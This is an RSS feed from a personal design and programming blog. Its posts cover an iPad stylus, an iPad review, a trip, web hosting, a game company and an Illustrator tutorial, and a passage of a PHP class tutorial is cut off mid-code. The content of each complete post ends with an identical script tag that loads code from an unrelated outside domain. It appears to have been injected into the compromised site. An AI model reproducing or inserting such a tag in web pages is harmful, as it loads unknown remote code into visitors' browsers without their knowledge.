<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>PHail [dot net] Blog - Design, Programming, and other things.</title>
	<atom:link href="http://phail.net/feed/" rel="self" type="application/rss+xml" />
	<link>http://phail.net</link>
	<description>A creative and sometimes technical blog about Design and Programming as well as other things.</description>
	<lastBuildDate>Sat, 22 May 2010 04:23:30 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<xhtml:meta xmlns:xhtml="http://www.w3.org/1999/xhtml" name="robots" content="noindex" />
		<item>
		<title>Pogo Sketch and the iPad</title>
		<link>http://phail.net/2010/05/21/pogo-sketch-and-the-ipad/</link>
		<comments>http://phail.net/2010/05/21/pogo-sketch-and-the-ipad/#comments</comments>
		<pubDate>Sat, 22 May 2010 04:17:31 +0000</pubDate>
		<dc:creator>Mike Wojo</dc:creator>
				<category><![CDATA[Reviews]]></category>
		<category><![CDATA[Apple]]></category>
		<category><![CDATA[draw]]></category>
		<category><![CDATA[iPad]]></category>
		<category><![CDATA[pen]]></category>
		<category><![CDATA[Pogo Sketch]]></category>
		<category><![CDATA[tool]]></category>

		<guid isPermaLink="false">http://phail.net/?p=42</guid>
		<description><![CDATA[Since before I bought my iPad a short time ago, I decided to do a little research to see what was out there in terms of a pen, or stylus that could be used with it.
For a big touch screen like that, I thought surely it would function well as a tablet or a note [...]]]></description>
			<content:encoded><![CDATA[<p>Since before I bought my iPad a short time ago, I decided to do a little research to see what was out there in terms of a pen, or stylus that could be used with it.</p>
<p>For a big touch screen like that, I thought surely it would function well as a tablet or a note taking tool, and it does. However, there&#8217;s only so much detail you can get using your finger on the iPad.</p>
<p>Thus, I purchased my <strong><a href="http://tenonedesign.com/sketch.php" target="_blank">Pogo Sketch</a></strong>. Am I&#8217;m very happy with it.</p>
<p><a href="http://phail.net/wp-content/uploads/2010/05/pogo1.jpg"><img class="alignnone size-medium wp-image-44" title="Pogo Sketch" src="http://phail.net/wp-content/uploads/2010/05/pogo1-300x225.jpg" alt="" width="300" height="225" /></a></p>
<p><strong>Pros:</strong></p>
<p><strong> </strong></p>
<ul>
<li><span style="font-weight: normal;">Light and solid feeling</span></li>
<li><span style="font-weight: normal;">Nice aluminum design</span></li>
<li><span style="font-weight: normal;">Clips onto pockets, etc.</span></li>
<li><span style="font-weight: normal;">Has a hole on end of clip which could be useful for attaching a string, maybe to put around your neck for quick access to the pen.</span></li>
</ul>
<p><strong>Cons:</strong></p>
<ul>
<li>Wide, non-precise tip.<br />
<em>However, I later found out the reason for this is because of a somewhat large touch area on Apple products is required to prevent accidental input.</em></li>
<li>Pocket clip seems a little flimsy, may break easily.</li>
<li>A little pricey. (About $15)</li>
</ul>
<p>After weighing the pros against the cons I&#8217;ve determined of the product, I hardly think the cons are anything major.</p>
<p>Writing with your finger can start to wear on you, not to mention your finger won&#8217;t always glide on the screen so easily and you&#8217;ll get that annoying &#8220;traction&#8221;. This stylus makes it feel almost as good as the old pen and paper, and even though it doesn&#8217;t seem like the wide tip can be very precise, it&#8217;s actually pretty easy to find the sweet spot.</p>
<p>For what it does, it does it all very nicely. I believe it&#8217;s the perfect companion to the iPad, especially when you want to take notes or draw anything with any bit of efficiency.</p>
<p>You can get your own Pogo Sketch <a href="http://tenonedesign.com/sketch.php">right here</a> from TenOneDesign. (Wow, look! An advertisement!)</p>
<p>Now for some photos. ;D</p>
<div id="attachment_49" class="wp-caption alignnone" style="width: 310px"><a href="http://phail.net/wp-content/uploads/2010/05/Mobile-Photo-May-22-2010-12-02-14-AM.jpg"><img class="size-medium wp-image-49" title="Sketchbook Pro with Pogo Stylus" src="http://phail.net/wp-content/uploads/2010/05/Mobile-Photo-May-22-2010-12-02-14-AM-300x225.jpg" alt="" width="300" height="225" /></a><p class="wp-caption-text">Sketchbook Pro with Pogo Stylus(ignore my terrible art skills)</p></div>
<p><div id="attachment_50" class="wp-caption alignnone" style="width: 310px"><a href="http://phail.net/wp-content/uploads/2010/05/Mobile-Photo-May-22-2010-12-02-24-AM.jpg"><img class="size-medium wp-image-50" title="Penultimate with Pogo Sketch" src="http://phail.net/wp-content/uploads/2010/05/Mobile-Photo-May-22-2010-12-02-24-AM-300x225.jpg" alt="" width="300" height="225" /></a><p class="wp-caption-text">Penultimate with Pogo Sketch(I&#39;m gonna have to use this at work! I love how I can just email these after writing them.)</p></div><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://phail.net/2010/05/21/pogo-sketch-and-the-ipad/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>iPad: Why I got one and why I Love it.</title>
		<link>http://phail.net/2010/05/04/ipad-why-i-got-one-and-why-i-love-it/</link>
		<comments>http://phail.net/2010/05/04/ipad-why-i-got-one-and-why-i-love-it/#comments</comments>
		<pubDate>Wed, 05 May 2010 00:48:43 +0000</pubDate>
		<dc:creator>Mike Wojo</dc:creator>
				<category><![CDATA[Reviews]]></category>
		<category><![CDATA[iPad]]></category>

		<guid isPermaLink="false">http://phail.net/?p=41</guid>
		<description><![CDATA[I want to begin this post by saying how I first felt about the iPad. When it was first revealed, in all it&#8217;s slim, shiny glory, I was definitely impressed by the design. However, I, like many others, was very underwhelmed by what I thought it could do.
I mean, after all, isn&#8217;t it just a [...]]]></description>
			<content:encoded><![CDATA[<p>I want to begin this post by saying how I first felt about the iPad. When it was first revealed, in all it&#8217;s slim, shiny glory, I was definitely impressed by the design. However, I, like many others, was very <em>underwhelmed</em> by what I thought it could do.</p>
<p>I mean, after all, isn&#8217;t it just a glorified iPhone?</p>
<p><a href="http://s106.photobucket.com/albums/m256/aeronux/?action=view&#038;current=7f8bde5c.jpg" target="_blank"><img src="http://i106.photobucket.com/albums/m256/aeronux/7f8bde5c.jpg" border="0" width="450" alt="Photobucket Pictures, Images and Photos" /></a></p>
<p>It seemed like it did just what the pocket sized iPhone or iPod touch does. But with a bigger screen. And no camera.</p>
<p>However, as I began to investigate more, I realized- it&#8217;s a very different animal after all.</p>
<p>Where I believe the real potential of the iPad lies is in it&#8217;s apps, and how they utilize the lovely large sized iPad screen. As a web developer, I was instantly impressed when I saw the Gusto app, which is kind of like Coda or Dreamweaver, but slimmed down and put on the iPad for mobile development. After I bought my iPad, I greatly enjoyed bringing my new toy to a coffee shop with a friend and tinkering with my websites. No more lugging my laptop around to do the same simple work on the go.</p>
<p>Of course I have lots of other development apps I can ogle about, like Sketchbook Pro which let&#8217;s me draw out my ideas and zip it over to an artist by email or send to a client for approval or adobe ideas which has similar functionality. But instead I want to also touch on the entertainment factor of the iPad.</p>
<p>I. Love. The ABC and Netflix apps.</p>
<p>There&#8217;s few things I enjoy more than relaxing and watching movies and TV shows, and with these apps I can do that ANYWHERE with an Internet connection. I&#8217;ve already enjoyed watching things while lying in bed and sitting on the couch. Plus, with my Bluetooth headphones, there are no wires to fumble with. I only wish that other networks, like NBC and FOX would jump on the bandwagon.</p>
<p>My final point in my mediocre review is the portability factor of the device. The iPad is one of the few devices I can honestly consider highly portable. The battery life on this thing is crazy. I feel like I rarely need to charge it at all. Even watching movies, I get amazing battery life (10-12 hours on a single charge). This means when I take it somewhere, like a coffee shop, there&#8217;s no need to bring any cables or worry if there&#8217;s an outlet by my table or chair.</p>
<p>The thing also doesn&#8217;t seem to generate much heat at all, if any. I can&#8217;t say I enjoy when my laptop nearly sets my lap on fire, and my iPad stays cool no matter what I&#8217;m doing with it. Plus it&#8217;s very light and seemingly sturdy.</p>
<p>Overall, the iPad is exceeding my expectations and definitely meeting my needs. I can&#8217;t say it will be the same case for everyone, but for what I do everyday, this is the perfect in between machine.</p>
<p>And&#8230; I&#8217;ll probably regret saying this, but I don&#8217;t miss flash on my iPad. <script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://phail.net/2010/05/04/ipad-why-i-got-one-and-why-i-love-it/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Soon to be in China!</title>
		<link>http://phail.net/2008/10/12/soon-to-be-in-china/</link>
		<comments>http://phail.net/2008/10/12/soon-to-be-in-china/#comments</comments>
		<pubDate>Sun, 12 Oct 2008 05:12:27 +0000</pubDate>
		<dc:creator>Mike Wojo</dc:creator>
				<category><![CDATA[Ramblings]]></category>
		<category><![CDATA[travel]]></category>

		<guid isPermaLink="false">http://phail.net/2008/10/12/soon-to-be-in-china/</guid>
		<description><![CDATA[Since I&#8217;m leaving on Monday for China, I thought I would try out posting to my blog from my iPod touch!  
So here it is.
]]></description>
			<content:encoded><![CDATA[<p>Since I&#8217;m leaving on Monday for China, I thought I would try out posting to my blog from my iPod touch!  </p>
<p>So here it is.<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://phail.net/2008/10/12/soon-to-be-in-china/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>It&#8217;s Official &#8212; I&#8217;m With MediaTemple!</title>
		<link>http://phail.net/2008/05/08/its-official-im-with-mediatemple/</link>
		<comments>http://phail.net/2008/05/08/its-official-im-with-mediatemple/#comments</comments>
		<pubDate>Fri, 09 May 2008 03:31:52 +0000</pubDate>
		<dc:creator>Mike Wojo</dc:creator>
				<category><![CDATA[Ramblings]]></category>
		<category><![CDATA[host]]></category>
		<category><![CDATA[MediaTemple]]></category>
		<category><![CDATA[new]]></category>

		<guid isPermaLink="false">http://phail.net/?p=25</guid>
		<description><![CDATA[Hurray, I finally purchased my very own Grid-Server with MediaTemple.  I had heard very good things, so I decided I should check out what all the buzz was about.
 

 
So far, I&#8217;m very happy, it&#8217;s fast, I love the control panel, and the move was relatively easy. Looking forward to some great hosting.  
]]></description>
			<content:encoded><![CDATA[<p>Hurray, I finally purchased my very own Grid-Server with MediaTemple.  I had heard very good things, so I decided I should check out what all the buzz was about.</p>
<p> </p>
<p><a href="http://www.mediatemple.net/go/order/?refdom=litespark.com" target="_blank"><img class="alignnone size-medium wp-image-26" title="mediatemple" src="http://phail.net/wp-content/uploads/2008/05/mediatemple-300x34.gif" alt="" width="300" height="34" /></a></p>
<p> </p>
<p>So far, I&#8217;m very happy, it&#8217;s fast, I love the control panel, and the move was relatively easy. Looking forward to some great hosting. <img src='http://phail.net/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> <script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://phail.net/2008/05/08/its-official-im-with-mediatemple/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Dang, Nexon is Intense!</title>
		<link>http://phail.net/2008/05/05/dang-nexon-is-intense/</link>
		<comments>http://phail.net/2008/05/05/dang-nexon-is-intense/#comments</comments>
		<pubDate>Tue, 06 May 2008 00:41:04 +0000</pubDate>
		<dc:creator>Mike Wojo</dc:creator>
				<category><![CDATA[Ramblings]]></category>
		<category><![CDATA[2d]]></category>
		<category><![CDATA[convention]]></category>
		<category><![CDATA[games]]></category>
		<category><![CDATA[Maple]]></category>
		<category><![CDATA[MapleStory]]></category>
		<category><![CDATA[mmorpg]]></category>
		<category><![CDATA[Nexon]]></category>
		<category><![CDATA[NX]]></category>
		<category><![CDATA[Story]]></category>

		<guid isPermaLink="false">http://phail.net/2008/05/05/dang-nexon-is-intense/</guid>
		<description><![CDATA[.flickr-photo { border: solid 2px #000000; } .flickr-yourcomment { } .flickr-frame { text-align: left; padding: 3px; } .flickr-caption { font-size: 0.8em; margin-top: 0px; }
 
07-11-08 Korea 07, originally uploaded by goodalefampics.

Wow, ever since the start of their 2D Side-Scrolling MMORPG (Massively Multiplayer Online Role Playing Game) MapleStory, developed by Wizet, I&#8217;ve been interested in this company [...]]]></description>
			<content:encoded><![CDATA[<style type='text/css'>.flickr-photo { border: solid 2px #000000; } .flickr-yourcomment { } .flickr-frame { text-align: left; padding: 3px; } .flickr-caption { font-size: 0.8em; margin-top: 0px; }</style>
<div class="flickr-frame"><a title="photo sharing" href="http://www.flickr.com/photos/12556474@N03/1943633962/"><img class="flickr-photo" src="http://farm3.static.flickr.com/2146/1943633962_f9c46a96f2.jpg" alt="" /></a> </p>
<p><span class="flickr-caption"><a href="http://www.flickr.com/photos/12556474@N03/1943633962/">07-11-08 Korea 07</a>, originally uploaded by <a href="http://www.flickr.com/people/12556474@N03/">goodalefampics</a>.</span></p>
</div>
<p class="flickr-yourcomment">Wow, ever since the start of their 2D Side-Scrolling MMORPG (Massively Multiplayer Online Role Playing Game) <a href="http://maplestory.nexon.net">MapleStory</a>, developed by Wizet, I&#8217;ve been interested in this company from South Korea.  They seem to just continuously pump out great websites, great games, and the obviously top of the line setups for conventions!</p>
<p>They have a North American division, and it started as NX Games and changed later to Nexon America.  Their flagship product was MapleStory, and to my knowledge it is still their biggest and most popular game, at least in America.</p>
<p>Wouldn&#8217;t it be cool to work for this company? <img src='http://phail.net/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> <script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://phail.net/2008/05/05/dang-nexon-is-intense/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>(mostly) Painless Illustration</title>
		<link>http://phail.net/2008/05/05/mostly-painless-illustration/</link>
		<comments>http://phail.net/2008/05/05/mostly-painless-illustration/#comments</comments>
		<pubDate>Mon, 05 May 2008 18:00:08 +0000</pubDate>
		<dc:creator>Mike Wojo</dc:creator>
				<category><![CDATA[Design]]></category>
		<category><![CDATA[Tutorials]]></category>
		<category><![CDATA[adobe]]></category>
		<category><![CDATA[Apple]]></category>
		<category><![CDATA[art]]></category>
		<category><![CDATA[color]]></category>
		<category><![CDATA[draw]]></category>
		<category><![CDATA[illustration]]></category>
		<category><![CDATA[illustrator]]></category>
		<category><![CDATA[iMac]]></category>
		<category><![CDATA[mostly]]></category>
		<category><![CDATA[painless]]></category>
		<category><![CDATA[pen]]></category>
		<category><![CDATA[scan]]></category>
		<category><![CDATA[tool]]></category>
		<category><![CDATA[tutorial]]></category>
		<category><![CDATA[vector]]></category>

		<guid isPermaLink="false">http://phail.net/?p=16</guid>
		<description><![CDATA[&#8230;using Adobe Illustrator.
Lately I&#8217;ve gotten into making simple illustrations for sites (like this one!).  I know that to most, my art isn&#8217;t amazing, but it works and it can be used to make a creative, cleanly designed website.
This is kind of a mini-tutorial, and isn&#8217;t terribly detailed, but shows the basics of how I make my [...]]]></description>
			<content:encoded><![CDATA[<p>&#8230;using <strong>Adobe Illustrator.</strong></p>
<p>Lately I&#8217;ve gotten into making simple illustrations for sites (like this one!).  I know that to most, my art isn&#8217;t <em>amazing</em>, but it works and it can be used to make a creative, cleanly designed website.</p>
<p>This is kind of a <strong>mini-tutorial</strong>, and isn&#8217;t terribly detailed, but shows the basics of how I make my humble art.</p>
<p> <strong>    1. Draw it on paper!</strong></p>
<p>Here&#8217;s a little sample I sketched before:</p>
<p><a href="http://phail.net/wp-content/uploads/2008/05/mr_illus_1.jpg"><img class="alignnone size-medium wp-image-17" title="mr_illus_1" src="http://phail.net/wp-content/uploads/2008/05/mr_illus_1-300x225.jpg" alt="" width="300" height="225" /></a></p>
<p>This is the easiest part for me.  I am not that great of an artist, but it&#8217;s definitely easier to draw something on paper compared to trying to draw with a tablet or mouse.  Whatever you&#8217;re drawing, whether it be a logo or a potato, paper lets you be messy.  <strong>Go ahead, scribble or sketch, it&#8217;ll be refined later!</strong></p>
<p><strong>     2. Scan it or take a picture of it with a digital camera.</strong></p>
<p>(Below is a Canon PowerShot SD1000; Just an example of a nice Digital Camera.)</p>
<p><a href="http://phail.net/wp-content/uploads/2008/05/canon_powershot_sd1000.jpg"><img class="alignnone size-medium wp-image-18" title="canon_powershot_sd1000" src="http://phail.net/wp-content/uploads/2008/05/canon_powershot_sd1000.jpg" alt="" width="177" height="150" /></a></p>
<p> Instead of a digital camera, I use the iSight camera on my Apple iMac.  It&#8217;s conveniant (built in) and simple.  Just hold up the paper and snap a pic.  However, a camera or scanner will do just fine.</p>
<p>     <strong>3. Open up Illustrator and drag your scanned/captured image onto the canvas in a new layer.</strong></p>
<p>A new layer should be used so you can adjust opacity and see what you&#8217;re going to draw over it more clearly.</p>
<p>     <strong>4. <em>Pen Tool!</em></strong></p>
<p>Using the pen tool, trace over the outlines of the things you drew on paper (make sure to keep your pen tool created lines in a new layer over the original drawing!).  Also try to connect/close your pen tool shapes so you can fill them with colors or patterns after you&#8217;re done tracing.</p>
<p>     <strong>5. Color it!</strong></p>
<p>If you&#8217;ve closed/connected the shapes you drew with the pen tool, just fill everything with color you think would look good.  Adjust the order of your shapes in the layer if needed.  Be free and creative! <img src='http://phail.net/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>     <strong>6.</strong> <strong>Look at your finished product.</strong></p>
<p><a href="http://phail.net/wp-content/uploads/2008/05/mr_illus_sample.png"><img class="alignnone size-medium wp-image-19" title="mr_illus_sample" src="http://phail.net/wp-content/uploads/2008/05/mr_illus_sample-300x140.png" alt="" width="300" height="140" /></a></p>
<p>Does it look good? Is it how you like it?  If not, go back and fix or add some things.  Be creative with it.  Have fun.</p>
<p>And that&#8217;s it.  Yes, I know, this tutorial isn&#8217;t much better than the quality of my art, but I hope to help others learning to do Illustration like me. Good luck!  (By the way, I can probably attach pictures of using the pen tool and Illustrator, so let me know if that would be helpful to do.)<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://phail.net/2008/05/05/mostly-painless-illustration/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>PHP Class Practice: Creating a Simple Pet Script</title>
		<link>http://phail.net/2008/04/21/php-class-practice-creating-a-simple-pet-script/</link>
		<comments>http://phail.net/2008/04/21/php-class-practice-creating-a-simple-pet-script/#comments</comments>
		<pubDate>Mon, 21 Apr 2008 18:12:13 +0000</pubDate>
		<dc:creator>Mike Wojo</dc:creator>
				<category><![CDATA[Codes & Scripts]]></category>
		<category><![CDATA[Tutorials]]></category>
		<category><![CDATA[class]]></category>
		<category><![CDATA[code]]></category>
		<category><![CDATA[pet]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[script]]></category>

		<guid isPermaLink="false">http://phail.net/?p=14</guid>
		<description><![CDATA[For the vast majority of the time I&#8217;ve been programming I haven&#8217;t used Classes in my code. They are relatively new to me. Because of this, I decided to practice writing classes since I realized how useful they are. Here&#8217;s something I made when I was learning.
What We&#8217;re Making Today:
We&#8217;re going to be making a [...]]]></description>
			<content:encoded><![CDATA[<p>For the vast majority of the time I&#8217;ve been programming I haven&#8217;t used Classes in my code. They are relatively new to me. Because of this, I decided to practice writing classes since I realized how useful they are. Here&#8217;s something I made when I was learning.</p>
<p><strong>What We&#8217;re Making Today:</strong><br />
We&#8217;re going to be making a small script comprised of a class, called <strong>Pet</strong>, with variables and functions inside of it to perform actions. Also keep in mind that this is <em>extremely</em> simple and most likely cannot be used for anything outside of practice without heavy modification.</p>
<p><strong>Let&#8217;s Begin, Shall We?</strong></p>
<ol>
<li>Create a new file. Let&#8217;s call it <strong>pet.php</strong>.</li>
<li>Open up the file and prepare for editing! (I use Dreamweaver for most code editing, but you can use plenty of other programs like the built in TextEdit (Mac) and NotePad (Windows).</li>
<li>Always remember to save it as a PHP file! Saving it accidentally as .txt or .rtf will make it not work at all.</li>
</ol>
<p><strong>Now for some code.</strong></p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #666666; font-style: italic;">//Some class practice.</span><br />
<span style="color: #000000; font-weight: bold;">class</span> Pet<br />
<span style="color: #009900;">&#123;</span></div></div>
<p>We&#8217;ve now started the file and recognized it&#8217;s a PHP document. Then we initiated the class &#8220;Pet&#8221;.</p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #000000; font-weight: bold;">var</span> <span style="color: #000088;">$name</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;&quot;</span><span style="color: #339933;">;</span><br />
<span style="color: #000000; font-weight: bold;">var</span> <span style="color: #000088;">$age</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">1</span><span style="color: #339933;">;</span><br />
<span style="color: #000000; font-weight: bold;">var</span> <span style="color: #000088;">$fullness</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">50</span><span style="color: #339933;">;</span><br />
<span style="color: #000000; font-weight: bold;">var</span> <span style="color: #000088;">$health</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">70</span><span style="color: #339933;">;</span><br />
<span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000088;">$dead</span> <span style="color: #339933;">=</span> <span style="color: #009900; font-weight: bold;">false</span><span style="color: #339933;">;</span></div></div>
<p>We&#8217;ve now created the variables name, age, fullness, and health for the class to use, and a public variable &#8216;dead&#8217;.</p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000000; font-weight: bold;">function</span> SetName<span style="color: #009900;">&#40;</span><span style="color: #000088;">$txt</span><span style="color: #009900;">&#41;</span><br />
<span style="color: #009900;">&#123;</span><br />
<span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">name</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$txt</span><span style="color: #339933;">;</span><br />
<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;&lt;p&gt;You have named your pet &quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$txt</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;.&quot;</span><span style="color: #339933;">;</span><br />
<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;Fullness: &quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">fullness</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot; Health: &quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">health</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot; Age: &quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">age</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;&quot;</span><span style="color: #339933;">;</span><br />
<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;&quot;</span><span style="color: #339933;">;</span><br />
<span style="color: #009900;">&#125;</span></div></div>
<p>Now we have a <strong>public function</strong> (A function that can be used outside of just inside the class code) called SetName. By calling the function with a string parameter, you assign that string to the class variable $name. It also echoes some text telling you about the pet.</p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000000; font-weight: bold;">function</span> GetName<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><br />
<span style="color: #009900;">&#123;</span><br />
<span style="color: #b1b100;">return</span> <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">name</span><span style="color: #339933;">;</span><br />
<span style="color: #009900;">&#125;</span></div></div>
<p>Since the variables we set earlier in the class (like $name) are <b>not public</b>, we can only access them through the inside code.  So, using this simple function called GetName(), we can retrieve the contents of the $name variable for that object.</p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000000; font-weight: bold;">function</span> Feed<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><br />
<span style="color: #009900;">&#123;</span><br />
<span style="color: #666666; font-style: italic;">//Increase pet's fullness by a random amount between 5 and 10.</span><br />
<span style="color: #000088;">$fulladd</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/rand"><span style="color: #990000;">rand</span></a><span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">5</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">10</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">fullness</span> <span style="color: #339933;">+=</span> <span style="color: #000088;">$fulladd</span><span style="color: #339933;">;</span><br />
<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;&lt;/p&gt;&lt;p&gt;You have fed &quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">name</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot; some food. Fullness increased by <span style="color: #006699; font-weight: bold;">$fulladd</span>.&lt;/p&gt;&quot;</span><span style="color: #339933;">;</span><br />
<span style="color: #009900;">&#125;</span></div></div>
<p>Every pet needs to be fed, right?  Well, since I said this is simple, we are just picking a number between 5 and 10 to add to it&#8217;s Fullness total.</p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #000000; font-weight: bold;">function</span> PassTime<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><br />
<span style="color: #009900;">&#123;</span><br />
<span style="color: #666666; font-style: italic;">//Simulate some sort of reality I suppose..</span><br />
<span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">fullness</span> <span style="color: #339933;">-=</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">fullness</span><span style="color: #339933;">*</span><span style="color:#800080;">.10</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">+</span><span style="color: #cc66cc;">5</span><span style="color: #339933;">;</span><br />
<span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">health</span> <span style="color: #339933;">-=</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">health</span><span style="color: #339933;">*</span><span style="color: #009900;">&#40;</span><a href="http://www.php.net/rand"><span style="color: #990000;">rand</span></a><span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">10</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">25</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">/</span><span style="color: #cc66cc;">100</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">+</span><span style="color: #cc66cc;">2</span><span style="color: #339933;">;</span><br />
<span style="color: #666666; font-style: italic;">//Make sure stats are whole numbers</span><br />
<span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">fullness</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/ceil"><span style="color: #990000;">ceil</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">fullness</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">health</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/ceil"><span style="color: #990000;">ceil</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">health</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #666666; font-style: italic;">//Increase age by a day? (Not really logical, but oh well.)</span><br />
<span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">age</span> <span style="color: #339933;">+=</span> <span style="color: #cc66cc;">1</span><span style="color: #339933;">;</span><br />
<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;&lt;p style='color:#999999;'&gt;&quot;</span><span style="color: #339933;">;</span><br />
<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;Some time has passed.&lt;br /&gt;&quot;</span><span style="color: #339933;">;</span><br />
